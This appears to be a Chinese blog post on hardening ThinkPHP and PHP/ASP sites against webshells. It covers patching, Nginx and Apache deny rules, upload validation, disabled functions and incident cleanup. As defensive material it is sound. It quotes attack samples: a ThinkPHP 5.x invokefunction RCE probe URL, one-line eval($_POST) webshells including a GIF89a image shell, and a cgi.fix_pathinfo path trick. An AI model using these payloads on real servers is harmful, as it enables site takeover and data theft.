Php.Trojan.Php.Azlw与Asp.Backdoor.Webshell.Pgil均为典型的网站脚本木马(Webshell),主要通过文件上传漏洞、代码注入、弱口令等方式入侵,用于窃取数据、篡改网站或长期控制服务器。
ThinkPHP5.X漏洞
一、攻击
- /?s=../\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars [0]=md5&vars [1][]=HelloThinkPHP
- 拆解
- s=../\x5Cthink\x5Capp/invokefunction:通过路径穿越 + 十六进制转义\x5C(代表\),调用 ThinkPHP 核心类think\app的invokefunction方法
- function=call_user_func_array:调用 PHP 危险函数,用于执行任意代码;
- md5(‘HelloThinkPHP’):黑客测试漏洞是否存在(计算字符串 MD5 值是通用测试手段)。
- 目的:尝试在你的服务器上执行任意 PHP 代码,获取网站控制权、上传木马、篡改数据等
二、方案
- 升级ThinkPHP版本
- 如果你用的是 ThinkPHP 5.0.x:升级到 5.0.24 最新版本
- 如果你用的是 ThinkPHP 5.1.x:升级到 5.1.41 最新版本
- 临时方案(无法升级ThinkPHP版本)
- 打开网站目录 /thinkphp/library/think/App.php
- 搜索invokefunction方法,添加严格的函数白名单限制,禁止执行call_user_func等危险函数
- 开启防跨站攻击(open_basedir)
- chattr -i .user.ini,解锁
- chattr +i .user.ini,加锁
- 禁用危险函数
1 | system,exec,shell_exec,passthru,proc_open,proc_open,call_user_func,call_user_func_array |
- 其他方案
- 删除网站根目录无用的测试文件、入口文件
- 定期更新宝塔面板、PHP 环境、网站程序到最新版
- 不要使用弱密码,关闭服务器不必要的端口
- Nginx防护
1 | # Nginx 配置示例,添加到你的网站配置里 |
- 开启强制路由,隐藏 ?s= 形式的入口参数,使用伪静态 URL
- 高频扫描IP加入黑名单
恶意脚本伪装成图片文件
一、攻击
- 典型恶意文件长这样
1 | GIF89a |
二、防护
- Nginx配置:访问任何.php文件直接返回403
1 | # 拦截上传目录里的所有 PHP 执行 |
- 如果使用Apache,则在上传目录新建.htaccess,并加入以下内容
1 | php_flag engine off |
- 如果使用IIS:上传目录 → 处理程序映射 → 移除 PHP 执行权限。
- 严格验证文件
1 | // 1. 强制使用白名单后缀 |
- 二次渲染图片,通过使用GD/ImageMagick 重新生成一张图片,PHP 代码会全部消失。
1 | $img = imagecreatefromgif($tmpName); |
- 重命名上传文件
1 | $newName = md5(uniqid()) . '.jpg'; |
- 修改php配置文件
1 | ; 关闭文件类型漏洞,PHP拒绝处理任何不标准的路径 |
cgi.fix_pathinfo = 0,假设设置为1
- 攻击者上传一个shell.gif,里面里面藏 GIF89a + PHP 代码
- 通过访问/storage/images/2025/shell.gif/.php,服务器会错误地把.gif文件当成PHP执行
- Nginx 找不到 shell.gif/.php就会往前找,把 shell.gif 交给 PHP 执行
short_open_tag = Off,禁止使用短标签 <? ,防止一句话木马绕过
正常php代码
1
<?php eval($_POST['cmd']); ?>
木马代码
1
<? eval($_POST['cmd']); ?>
GIF89a 图片马最喜欢用短标签!
1
2GIF89a
<? eval($_POST['x']);?>
- 将本地存储更换为对象存储,跟服务器隔离
chmod -R 700 storage,storage 目录被上传了 php 脚本
一、处理
- cd /www/wwwroot/网站目录
- 给storage目录创建禁止执行PHP的规则
1 | # 创建防执行文件 |
- 在加固一个.htaccess
1 | cat > storage/.htaccess << 'EOF' |
- 扫描并删除php木马:find /www/wwwroot/网站目录/storage -name “*.php” -delete
- 修改目录权限
1 | chmod -R 755 storage |
开启防跨站攻击
- ThinkPHP/Laravel
1
open_basedir=/www/wwwroot/yourdomain.com/:/www/wwwroot/yourdomain.com/public/:/tmp/
nginx配置
1 | location ~* ^/storage/.*\.(php|php5|php4|php3|phtml)$ { |
Php.Trojan.Php.Azlw、Asp.Backdoor.Webshell.Pgil木马
一、基础
- Php.Trojan.Php.Azlw
- 典型代码:大量 eval(base64_decode(…))、assert 加密执行
- 隐藏方式:
- 插入正常 PHP 文件尾部 / 头部(一句话木马)
- 伪装成 cache.php、config.php、thumb.php 等常见文件名
- 上传目录(如 /upload/、/temp/)下的可疑 .php 文件
- 攻击行为:执行系统命令、读写文件、创建新后门、连接远控
- Asp.Backdoor.Webshell.Pgil
- 典型代码:Execute(Request(…))、eval、ScriptEncoder 加密
- 隐藏方式:
- 伪装成 conn.asp、inc.asp、top.asp 等包含文件
- 图片 / 附件目录下的 .asp、.asa、.cer 解析文件
- 攻击行为:文件管理、提权、植入更多后门、窃取数据库
二、已感染时紧急处理
- 隔离与备份(止损)
- 切断网络:暂停网站或断网,防止攻击者继续操作
- 安全备份
- 只备份 数据库(SQL)、纯净源码(已知干净版本)、用户上传资源
- 不要备份整个网站目录(会连带备份木马)
- 全盘查杀-无需工具
1 | # 1. 扫描 PHP 木马特征(eval、base64、文件写入) |
- 彻底清除
- 删除所有扫描出的木马文件
- 清理被注入的正常文件
- 打开可疑 PHP/ASP 文件,删除末尾 / 头部的恶意代码段
- 用 原始干净源码 覆盖被篡改文件(最稳妥)
- 检查系统后门
1 | # 查看异常计划任务 |
- 重置所有密码
- 服务器 SSH、FTP、数据库、网站后台、Redis 等所有账号密码
- 强制所有用户重新登录,清除会话令牌
三、永久防范
- PHP层面
- 禁用高危函数(最有效)
1 | disable_functions = eval,assert,system,exec,passthru,shell_exec,proc_open,popen,dl,pcntl_exec |
- 关闭危险配置
1 | allow_url_fopen = Off |
- 权限控制
可写目录不给执行权
上传目录 /upload/、/attachment/:只允许写,禁止解析 PHP/ASP
Nginx配置
1
2
3location ~* /upload/.*\.(php|php5|asp)$ {
deny all;
}文件/目录权限
- PHP/ASP 文件:644(只读)
- 目录:755(禁止写入)
- 配置文件:400(只读)
- 文件上传防护
- 白名单校验:只允许 jpg/png/gif/pdf,拒绝 php/asp/asa/cgi
- 重命名上传文件:不使用用户上传的文件名,改为随机字符串
- 上传目录移至 Web 根目录外,通过脚本读取输出
- 前端 + 后端双重校验,后端必须校验文件类型
- 服务器与Web应用防护
- 更新升级:系统、PHP、Apache/Nginx、数据库、CMS(WordPress/DedeCMS)、所有插件 / 主题 保持最新
- 部署WAF:通过宝塔Nginx防火墙、云盾、OpenWAF等拦截
- 日志监控
- 定期检查access.log,发现异常IP频繁访问 .php? 长参数或访问上传目录下的.php文件
- 代码安全规范
- 不使用来历不明的源码、插件、主题(很多自带后门)
- 所有用户输入严格过滤:防 SQL 注入、XSS、代码注入
- 关键操作加验证码、Token 验证、二次认证
宝塔日志扫描与防护
一、类型
| 攻击类型 | 数量 | 含义与风险 |
|---|---|---|
| SQL 注入 | 818 次 | 攻击者尝试通过 URL 参数、表单提交等方式,注入 SQL 语句,目的是拖库、删库、获取管理员权限。 |
| XSS 跨站脚本 | 104 次 | 攻击者尝试注入恶意 JS 脚本,窃取用户 Cookie、伪造操作,或在后台植入后门。 |
| 扫描探测 | 585 次 | 攻击者用工具(如 dirsearch、nuclei)扫描你的网站路径、端口,寻找备份文件、后台地址、漏洞入口。 |
| PHP 攻击 | 6 次 | 主要针对 ThinkPHP 框架历史漏洞(如 RCE 远程代码执行、文件上传漏洞),尝试直接获取服务器控制权。 |
二、加固
- 开启并配置宝塔 Nginx 防火墙(WAF)
- 安装并启用「Nginx 防火墙」插件
- 开启核心防护规则:SQL 注入防护、XSS 防护、恶意扫描防护、PHP 一句话防护
- 启用「CC 防护」,限制单 IP 请求频率(如单 IP 每分钟最多 100 次请求)
- 开启「IP 黑名单」,自动封禁高频攻击 IP(如 1 小时内请求超过 1000 次的 IP)
- 查看「拦截日志」,确认攻击请求已被成功拦截
- ThinkPHP 框架专项加固
- 升级框架版本
- 若使用 ThinkPHP 5.x:升级到最新的 5.1.41/5.0.24 版本,修复 RCE 漏洞
- 若使用 ThinkPHP 6.x/8.x:升级到最新稳定版,开启强制路由和安全模式
- 禁用危险功能
1 | // config/app.php 配置 |
SQL 注入防护
- 禁止使用原生 SQL 的exp、raw、whereOr拼接用户输入,必须使用 ORM 参数化查询
- 对所有 URL 参数、表单参数进行类型校验(如 ID 必须为数字,用intval()强转)
XSS 防护
- 模板输出默认开启自动转义(ThinkPHP 默认开启,不要手动关闭)
- 富文本编辑器输出前,用htmlspecialchars()或框架自带的clean_xss函数过滤
关闭敏感信息
- 生产环境关闭app_debug调试模式,防止暴露错误栈和路径信息
- 隐藏 ThinkPHP 版本号(修改composer.json和框架配置)
TP5安全配置(config.php/app.php)
1 | return [ |
- TP6/TP8安全配置(config/app.php)
1 | return [ |
- TP6/TP8数据库安全配置(config/database.php)
1 | return [ |
- 服务器与网站配置加固
- 禁止直接访问.env、.sql、.bak、.log等敏感文件,在 Nginx 配置中添加拦截规则:
1 | location ~* \.(env|sql|bak|log|swp)$ { |
- 限制PHP执行权限:网站根目录外的目录禁止执行 PHP(如upload、static目录)
- 定期清理网站日志和备份文件,避免泄露敏感信息
- 修改宝塔后台默认端口(如 8888),启用 IP 白名单登录,防止面板被暴力破解
- 持续监控与应急处理
- 定期查看宝塔 WAF 拦截日志和网站访问日志,关注高频攻击 IP 和异常请求路径
- 定期备份数据库和网站源码,备份文件加密存储,避免被下载
- 若发现有攻击绕过 WAF,立刻修改对应接口参数校验规则,并提交 WAF 规则更新